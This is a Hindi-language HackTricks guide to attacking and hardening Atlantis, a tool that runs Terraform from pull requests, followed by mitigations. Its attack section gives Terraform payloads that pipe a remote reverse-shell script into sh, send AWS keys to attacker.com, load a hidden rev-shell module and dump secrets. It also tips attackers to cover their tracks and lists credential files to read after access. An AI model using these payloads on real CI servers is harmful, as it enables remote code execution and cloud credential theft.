Atlantis Security

AWS हैकिंग सीखें और अभ्यास करें: HackTricks प्रशिक्षण AWS रेड टीम एक्सपर्ट (ARTE) GCP हैकिंग सीखें और अभ्यास करें: HackTricks प्रशिक्षण GCP रेड टीम एक्सपर्ट (GRTE)

हैकट्रिक्स का समर्थन करें

सदस्यता योजनाएँ की जांच करें!
शामिल हों 💬 डिस्कॉर्ड समूह या टेलीग्राम समूह या हमें ट्विटर 🐦 @hacktricks_live** पर फॉलो** करें।
हैकिंग ट्रिक्स साझा करें HackTricks और HackTricks Cloud github रेपो में PR जमा करके।

मौलिक जानकारी

अटलांटिस आम तौर पर आपको आपके गिट सर्वर से पुल रिक्वेस्ट्स से टेराफ़ॉर्म चलाने में मदद करता है।

स्थानीय लैब

https://github.com/runatlantis/atlantis/releases पर अटलांटिस रिलीज़ पेज पर जाएं और उसे डाउनलोड करें जो आपके लिए उपयुक्त है।
अपने गिटहब उपयोगकर्ता का व्यक्तिगत टोकन (रेपो एक्सेस के साथ) बनाएं
./atlantis testdrive चलाएं और यह एक डेमो रेपो बनाएगा जिसका आप अटलांटिस से बात करने के लिए उपयोग कर सकते हैं।
आप 127.0.0.1:4141 में वेब पेज तक पहुंच सकते हैं

अटलांटिस एक्सेस

गिट सर्वर क्रेडेंशियल्स

अटलांटिस कई गिट होस्ट्स का समर्थन करता है जैसे गिटहब, गिटलैब, बिटबकेट और एज़्यूर डेवऑप्स। हालांकि, इन प्लेटफॉर्मों में रेपो में पहुंचने और कार्रवाई करने के लिए, उन्हें कुछ विशेषाधिकार पहुंच दिए जाने की आवश्यकता है (कम से कम लेखन अनुमतियाँ)। दस्तावेज़ इन प्लेटफॉर्मों में एक उपयोगकर्ता बनाने की प्रोत्साहना करते हैं, लेकिन कुछ लोग व्यक्तिगत खाते का उपयोग कर सकते हैं।

किसी भी स्थिति में, हमलावर की दृष्टि से, अटलांटिस खाता बहुत रोचक होगा कंप्रोमाइज करने के लिए।

वेबहुक्स

अटलांटिस वैकल्पिक रूप से वेबहुक सीक्रेट्स का उपयोग करता है ताकि वह आपके गिट होस्ट से प्राप्त वेबहुक्स को वैध मान सके।

इसे पुष्टि करने का एक तरीका यह हो सकता है कि आप अपने गिट होस्ट के आईपी से केवल अनुरोधों को अनुमति दें लेकिन एक आसान तरीका एक वेबहुक सीक्रेट का उपयोग करना है।

ध्यान दें कि यदि आप निजी गिटहब या बिटबकेट सर्वर का उपयोग नहीं करते हैं, तो आपको वेबहुक एंडपॉइंट को इंटरनेट पर उजागर करने की आवश्यकता होगी।

अटलांटिस वेबहुक्स को उजागर करेगा ताकि गिट सर्वर उसे सूचनाएं भेज सके। हमलावर की दृष्टि से यह रोचक होगा जानना कि क्या आप संदेश भेज सकते हैं।

प्रदाता क्रेडेंशियल्स

दस्तावेज़ से:

अटलांटिस टेराफ़ॉर्म चलाता है बस terraform plan और apply कमांड्स को सर्वर पर अटलांटिस होस्ट किया जाता है। जिस तरह से जब आप स्थानीय रूप से टेराफ़ॉर्म चलाते हैं, अटलांटिस को आपके विशिष्ट प्रदाता के लिए क्रेडेंशियल्स की आवश्यकता है।

यह आप पर निर्भर करता है कि आप अपने विशिष्ट प्रदाता के लिए क्रेडेंशियल्स प्रदान कैसे करते हैं अटलांटिस के लिए:

अटलांटिस हेल्म चार्ट और AWS फारगेट मॉड्यूल के लिए उनके खुद के तरीके हैं प्रदाता क्रेडेंशियल्स के लिए। उनके दस्तावेज़ पढ़ें।
यदि आप अटलांटिस को एक क्लाउड में चला रहे हैं तो कई क्लाउड्स के पास उन पर चल रहे एप्लिकेशन्स को क्लाउड एपीआई एक्सेस देने के तरीके होते हैं, जैसे:
AWS EC2 रोल्स (खोजें "EC2 रोल")
GCE इंस्टेंस सर्विस अकाउंट्स
बहुत से उपयोगकर्ता पर्यावरण चर निर्मित करते हैं, जैसे AWS_ACCESS_KEY, जहां अटलांटिस चल रहा है।
अन्य लोग आवश्यक कॉन्फ़िग फ़ाइलें बनाते हैं, जैसे ~/.aws/credentials, जहां अटलांटिस चल रहा है।
प्रदाता क्रेडेंशियल्स प्राप्त करने के लिए HashiCorp Vault Provider का उपयोग करें।

कंटेनर जहां अटलांटिस चल रहा है उसमें संबंधित प्रदाताओं (AWS, GCP, गिटहब...) के प्रिविलेज्ड क्रेडेंशियल्स होंगे।

वेब पेज

डिफ़ॉल्ट रूप से अटलांटिस लोकलहोस्ट में पोर्ट 4141 में एक वेब पेज चलाएगा। यह पेज आपको अटलांटिस एप्लाई को सक्षम/अक्षम करने और रेपो की प्लान स्थिति की जांच करने और उन्हें अनलॉक करने की अनुमति देता है (इससे चीजों को संशोधित करने की अनुमति नहीं है, इसलिए यह इतना उपयोगी नहीं है)।

आप शायद इंटरनेट पर इसे उजागर नहीं पाएंगे, लेकिन डिफ़ॉल्ट रूप से लगता है कि इसे एक्सेस करने के लिए कोई क्रेडेंशियल्स की आवश्यकता नहीं है (और यदि हैं तो atlantis:atlantis डिफ़ॉल्ट होते हैं)।

सर्वर कॉन्फ़िगरेशन

atlantis server कॉन्फ़िगरेशन को कमांड लाइन फ्लैग्स, एनवायरमेंट वेरिएबल्स, एक कॉन्फ़िग फ़ाइल या तीनों का मिश्रण के माध्यम से निर्दिष्ट किया जा सकता है।

आप [यहाँ फ्लैग्स की सूची](https://www.runatlantis.io

पीआर सुरक्षा

एटलांटिस अन्य किसी व्यक्ति द्वारा मंजूर किया जाना चाहिए (यदि यह शाखा सुरक्षा में सेट नहीं की गई है) और/या मर्जयोग्य (शाखा सुरक्षा पारित) होना चाहिए एप्लाई चलाने से पहले. सुरक्षा के दृष्टिकोण से, दोनों विकल्प सेट करना एक सिफारिश है।

यदि allowed_overrides सत्य है, तो इन सेटिंग को प्रत्येक परियोजना में /atlantis.yml फ़ाइल द्वारा ओवरराइट किया जा सकता है।

स्क्रिप्ट

रेपो कॉन्फ़िग स्क्रिप्ट निर्दिष्ट कर सकता है जो पहले (पूर्व-कार्यप्रवृत्ति हुक्स) और बाद (पोस्ट-कार्यप्रवृत्ति हुक्स) कार्यप्रवृत्ति के पहले और बाद चलाए जाने वाले हैं।

रेपो /atlantis.yml फ़ाइल में इन स्क्रिप्ट को निर्दिष्ट करने की कोई विकल्प नहीं है।

कार्यप्रवृत्ति

रेपो कॉन्फ़िग (सर्वर साइड कॉन्फ़िग) में आप नया डिफ़ॉल्ट कार्यप्रवृत्ति निर्दिष्ट, या नए कस्टम कार्यप्रवृत्तियाँ बना सकते हैं। आप भी निर्मित हुए नए को पहुंचने वाले रेपो को निर्दिष्ट कर सकते हैं। फिर, आप प्रत्येक रेपो के atlantis.yaml फ़ाइल में उपयोग करने के लिए कार्यप्रवृत्ति निर्दिष्ट कर सकते हैं।

यदि सर्वर साइड कॉन्फ़िग झंडा allow_custom_workflows को सत्य पर सेट किया गया है, तो कार्यप्रवृत्तियाँ प्रत्येक रेपो की atlantis.yaml फ़ाइल में निर्दिष्ट की जा सकती हैं। यह भी संभावना है कि allowed_overrides भी कार्यप्रवृत्ति को ओवरराइड करने के लिए निर्दिष्ट करे जा रहा है जो उपयोग किया जाएगा। यह मुख्य रूप से एटलांटिस सर्वर में RCE को किसी भी उपयोगकर्ता को देगा जो उस रेपो तक पहुंच सकता है।

# atlantis.yaml
version: 3
projects:
- dir: .
workflow: custom1
workflows:
custom1:
plan:
steps:
- init
- run: my custom plan command
apply:
steps:
- run: my custom apply command

Conftest नीति जांच

एटलांटिस सर्वर-साइड conftest नीतियों को प्लान आउटपुट के खिलाफ चलाने का समर्थन करता है। इस स्टेप का उपयोग करने के सामान्य मामले शामिल हैं:

मॉड्यूल की सूची का उपयोग नकारना
संसाधन की विशेषताओं की प्रमाणित करना निर्माण समय पर
अनजाने में संसाधन हटाने को पकड़ना
सुरक्षा जोखिमों को रोकना (जैसे कि सुरक्षित पोर्ट्स को सार्वजनिक करना)

आप यह कैसे कॉन्फ़िगर कर सकते हैं, दस्तावेज़ में देख सकते हैं।

एटलांटिस कमांड

दस्तावेज़ में आप उन विकल्पों को खोज सकते हैं जिन्हें आप एटलांटिस चलाने के लिए उपयोग कर सकते हैं:

# Get help
atlantis help

# Run terraform plan
atlantis plan [options] -- [terraform plan flags]
##Options:
## -d directory
## -p project
## --verbose
## You can also add extra terraform options

# Run terraform apply
atlantis apply [options] -- [terraform apply flags]
##Options:
## -d directory
## -p project
## -w workspace
## --auto-merge-disabled
## --verbose
## You can also add extra terraform options

हमले

यदि आप उत्पीड़न के दौरान इस त्रुटि को पाते हैं: Error: Error acquiring the state lock

तो आप इसे ठीक कर सकते हैं द्वारा निम्नलिखित को चला कर:

atlantis unlock #You might need to run this in a different PR
atlantis plan -- -lock=false

एटलांटिस योजना RCE - कॉन्फ़िग संशोधन नए पीआर में

यदि आपके पास किसी रिपॉजिटरी पर लेखन एक्सेस है तो आप उस पर एक नयी शाखा बना सकते हैं और एक पीआर उत्पन्न कर सकते हैं। यदि आप atlantis plan का निष्पादन कर सकते हैं (या शायद यह स्वचालित रूप से निष्पादित होता है) तो आप एटलांटिस सर्वर के अंदर RCE कर सकते हैं।

आप इसे एटलांटिस को एक बाह्य डेटा स्रोत लोड करने के द्वारा कर सकते हैं। बस main.tf फ़ाइल में निम्नलिखित पेलोड डालें:

data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

गुप्ततर हमला

आप इस हमला को एक गुप्ततर तरीके से भी कर सकते हैं, इन सुझावों का पालन करके:

टेराफ़ॉर्म फ़ाइल में सीधे रेव शैल जोड़ने की बजाय, आप एक बाह्य संसाधन को लोड कर सकते हैं जिसमें रेव शैल हो:

module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}

आप यहाँ https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules पर rev shell कोड पा सकते हैं।

बाहरी संसाधन में, ref फीचर का उपयोग करें ताकि terraform rev shell कोड को रिपो में एक शाखा में छुपा सकें, कुछ इस प्रकार: git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b
इसके बजाय Atlantis को ट्रिगर करने के लिए मास्टर पर PR बनाने की बजाय, 2 शाखाएं बनाएं (test1 और test2) और एक से दूसरे तक PR बनाएं। जब आप हमला पूरा कर लें, तो PR और शाखाएं हटा दें।

Atlantis plan Secrets Dump

आप terraform द्वारा उपयोग किए गए रहस्यों को डंप कर सकते हैं atlantis plan (terraform plan) चलाकर, जैसे कि टेराफ़ॉर्म फ़ाइल में कुछ इस प्रकार डालकर:

output "dotoken" {
value = nonsensitive(var.do_token)
}

एटलांटिस एप्लाई RCE - कॉन्फ़िग मॉडिफ़िकेशन न्यू पीआर में

यदि आपके पास रिपॉजिटरी पर राइट एक्सेस है तो आप उस पर एक नयी ब्रांच बना सकते हैं और एक पीआर जेनरेट कर सकते हैं। यदि आप atlantis apply को एक्सीक्यूट कर सकते हैं तो आप एटलांटिस सर्वर के अंदर RCE कर सकते हैं।

हालांकि, आपको आम तौर पर कुछ सुरक्षा उपायों को दाखिल करने की आवश्यकता होगी:

मर्जेबल: यदि यह सुरक्षा एटलांटिस में सेट की गई है, तो आपको केवल atlantis apply चला सकते हैं अगर पीआर मर्जेबल है (जिसका मतलब है कि ब्रांच सुरक्षा को दाखिल करने की आवश्यकता है)।
ब्रांच सुरक्षा को दाखिल करने के लिए पोटेंशियल बायपास देखें
मंजूर: यदि यह सुरक्षा एटलांटिस में सेट की गई है, तो कुछ अन्य उपयोगकर्ता को पीआर को मंजूरी देनी होगी इससे पहले कि आप atlantis apply चला सकें
डिफ़ॉल्ट रूप से आप इस सुरक्षा को दाखिल करने के लिए गिटबॉट टोकन का दुरुपयोग कर सकते हैं

terraform apply को एक दुरुपयोगी टेराफ़ॉर्म फ़ाइल पर चलाना local-exec। आपको बस यह सुनिश्चित करना है कि कुछ पेलोड जैसे निम्नलिखित वाले main.tf फ़ाइल में समाप्त हो जाएं:

// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

टेराफ़ॉर्म पैरामीटर इंजेक्शन

जब atlantis plan या atlantis apply चलाया जा रहा है तो टेराफ़ॉर्म अंदर-जरूरत होता है, आप टेराफ़ॉर्म को एटलांटिस से कमेंट करके कमांड पास कर सकते हैं:

atlantis plan -- <terraform commands>
atlantis plan -- -h #Get terraform plan help

atlantis apply -- <terraform commands>
atlantis apply -- -h #Get terraform apply help

कस्टम वर्कफ़्लो

atlantis.yaml फ़ाइल में निर्दिष्ट हानिकारक कस्टम बिल्ड कमांड चलाना। एटलांटिस पुल अनुरोध शाखा से atlantis.yaml फ़ाइल का उपयोग करता है, नहीं master का। इस संभावना का उल्लेख पिछले खंड में किया गया था:

यदि सर्वर साइड कॉन्फ़िग ध्वज allow_custom_workflows को सही पर सेट किया गया है, तो प्रक्रियाएँ प्रत्येक रेपो के atlantis.yaml फ़ाइल में निर्दिष्ट की जा सकती हैं। यह भी संभावना है कि allowed_overrides वास्तव में workflow को भी निर्दिष्ट करता है ताकि उस वर्कफ़्लो को ओवरराइड किया जा सके।

यह मुख्य रूप से एटलांटिस सर्वर में RCE को किसी भी उपयोगकर्ता को देगा जो उस रेपो तक पहुंच सकता है।

# atlantis.yaml
version: 3
projects:
- dir: .
workflow: custom1
workflows:
custom1:
plan:
steps:
- init
- run: my custom plan command
apply:
steps:
- run: my custom apply command

बायपास प्लान/लागू सुरक्षा

यदि सर्वर साइड कॉन्फ़िग ध्वज allowed_overrides को apply_requirements कॉन्फ़िगर किया गया है, तो रिपो ने प्लान/लागू सुरक्षा को बायपास करने के लिए संभव है।

repos:
- id: /.*/
apply_requirements: []

PR हाइजैकिंग

अगर कोई atlantis plan/apply टिप्पणियाँ आपके वैध पुल अनुरोधों पर भेजता है, तो यह तब चलाएगा जब आप चाहते नहीं है।

और इसके अतिरिक्त, अगर आपने शाखा संरक्षण में कॉन्फ़िगर किया नहीं है कि हर बार जब उसमें नया कमिट पुश किया जाता है तो हर पीआर पुनः मूल्यांकन के लिए पूछने के लिए, कोई दुर्भाग्यपूर्ण कॉन्फ़िगरेशन (पिछले स्थितियों की जांच करें) तेराफ़ॉर्म कॉन्फ़िगरेशन में लिख सकता है, atlantis plan/apply चला सकता है और RCE प्राप्त कर सकता है।

यह है सेटिंग गिटहब शाखा संरक्षण में:

वेबहुक सीक्रेट

अगर आप उपयोग किए गए वेबहुक सीक्रेट को चुरा लेते हैं या अगर वहाँ कोई वेबहुक सीक्रेट उपयोग नहीं हो रहा है, तो आप एटलांटिस वेबहुक को बुला सकते हैं और सीधे एटलांटिस कमांड को आमंत्रित कर सकते हैं।

बिटबकेट

बिटबकेट क्लाउड वेबहुक सीक्रेट्स का समर्थन नहीं करता है। यह आक्रमणकारियों को बिटबकेट से फर्जी अनुरोध भेजने की अनुमति देता है। सुनिश्चित करें कि आप केवल बिटबकेट IPs को अनुमति दे रहे हैं।

इसका मतलब है कि एक हमलावर एटलांटिस को फर्जी अनुरोध कर सकता है जो ऐसा लगता है कि वह बिटबकेट से आ रहा है।
यदि आप --repo-allowlist को निर्दिष्ट कर रहे हैं तो उन्हें केवल उन रेपों के संबंधित फर्जी अनुरोध करने की अनुमति हो सकती है तो उनका सबसे अधिक नुकसान वह हो सकता है जो आपके अपने रेपों पर योजना/लागू कर सकते हैं।
इसे रोकने के लिए, बिटबकेट के आईपी पतों को अनुमति दें (आउटबाउंड आईपीवी4 पते देखें)।

पोस्ट-एक्सप्लोइटेशन

यदि आपने सर्वर तक पहुंचने में सफलता प्राप्त की है या कम से कम आपको एलएफआई है तो यहां कुछ दिलचस्प चीजें हैं जिन्हें आपको पढ़ने की कोशिश करनी चाहिए:

/home/atlantis/.git-credentials VCS एक्सेस क्रेडेंशियल्स शामिल हैं
/atlantis-data/atlantis.db अधिक जानकारी के साथ VCS एक्सेस क्रेडेंशियल्स शामिल हैं
/atlantis-data/repos/<org_name>/<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstate टेराफ़ॉर्म स्टेट फ़ाइल
उदाहरण: /atlantis-data/repos/ghOrg_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate
/proc/1/environ एनवायरनमेंट वेरिएबल्स
/proc/[2-20]/cmdline atlantis server का कमांड लाइन (संवेदनशील डेटा शामिल हो सकता है)

संरोधन

सार्वजनिक रेपोज़ पर उपयोग न करें

क्योंकि किसी भी व्यक्ति को सार्वजनिक पुल अनुरोधों पर टिप्पणी करने की अनुमति है, भले ही सभी सुरक्षा संरोधन उपलब्ध हो, सही सुरक्षा सेटिंग के बिना सार्वजनिक रेपोज़ पर एटलांटिस चलाना खतरनाक है।

`--allow-fork-prs` का उपयोग न करें

यदि आप सार्वजनिक रेपो पर चला रहे हैं (जिसे सिफारिश नहीं किया गया है, ऊपर देखें) तो आपको --allow-fork-prs (डिफ़ॉल्ट रूप से अस्वीकृत) सेट नहीं करना चाहिए क्योंकि कोई भी अपने फोर्क से आपके रेपो में पुल अनुरोध खोल सकता है।

`--repo-allowlist`

एटलांटिस आपको --repo-allowlist फ्लैग के माध्यम से वेबहुक से आने वाले रेपोज़ की अनुमति देने के लिए एक अनुमति सूची निर्दिष्ट करने की आवश्यकता है। उदाहरण के लिए:

विशिष्ट रेपोज़टरी: --repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests
आपका संगठन सभी: --repo-allowlist=github.com/runatlantis/*
आपके GitHub एंटरप्राइज इंस्टॉल में हर रेपो: --repo-allowlist=github.yourcompany.com/*
सभी रेपोज़टरी: --repo-allowlist=*. जब आप संरक्षित नेटवर्क में हो तो उपयोगी है लेकिन एक वेबहुक सीक्रेट भी सेट किए बिना खतरनाक है।

यह फ्लैग सुनिश्चित करता है कि आपका एटलांटिस स्थापना उन रेपोज़टरीज़ के साथ उपयोग किया जा रहा है जिन्हें आप नियंत्रित करते हैं। अधिक विवरण के लिए atlantis server --help देखें।

टेराफ़ॉर्म प्लानिंग की सुरक्षा

यदि हमलावर पुल अनुरोध जमाते हैं जिसमें दुर्भाग्यपूर्ण टेराफ़ॉर्म कोड है तो आपको ध्यान देना चाहिए कि terraform apply मंजूरियाँ पर्याप्त नहीं हैं। एक external डेटा स्रोत का उपयोग करके या एक दुर्भाग्यपूर्ण प्रोवाइडर निर्दिष्ट करके terraform plan में दुर्भाग्यपूर्ण कोड चलाया जा सकता है। इस कोड फिर आपके क्रेडेंशियल्स को बाहर ले जा सकता है।

इसे रोकने के लिए, आप कर सकते हैं:

एटलांटिस इमेज या होस्ट में प्रोवाइडर्स को बेक करें और उत्पादन में निषेध दें।
प्रोवाइडर रजिस्ट्री प्रोटोकॉल को आंतरिक रूप से लागू करें और सार्वजनिक निषेध दें, इस तरह आप नियंत्रण में रखेंगे किसके पास रजिस्ट्री को लिखने की पहुंच है।
अपने सर्वर-साइड रेपो कॉन्फ़िगरेशन की plan चरण को अवैध प्रोवाइडर या डेटा स्रोत के उपयोग के खिलाफ मान्यता देने के लिए सत्यापित करने के लिए बदलें या निषेधित उपयोगकर्ताओं से पीआर करें। आप इस बिंदु पर अतिरिक्त मान्यता भी जोड़ सकते हैं, जैसे कि plan को जारी करने से पहले पीआर पर "थम्स-अप" की आवश्यकता। यहां कॉन्फ़ेस्ट का उपयोग किया जा सकता है।

वेबहुक सीक्रेट्स

एटलांटिस को वेबहुक सीक्रेट्स के साथ चलाया जाना चाहिए जो $ATLANTIS_GH_WEBHOOK_SECRET/$ATLANTIS_GITLAB_WEBHOOK_SECRET एनवायरमेंट वेरिएबल्स के माध्यम से सेट किए गए हों। --repo-allowlist फ्लैग सेट किए बिना, वेबहुक सीक्र

PreviousTerraform Security NextCloudflare Security

Last updated 1 month ago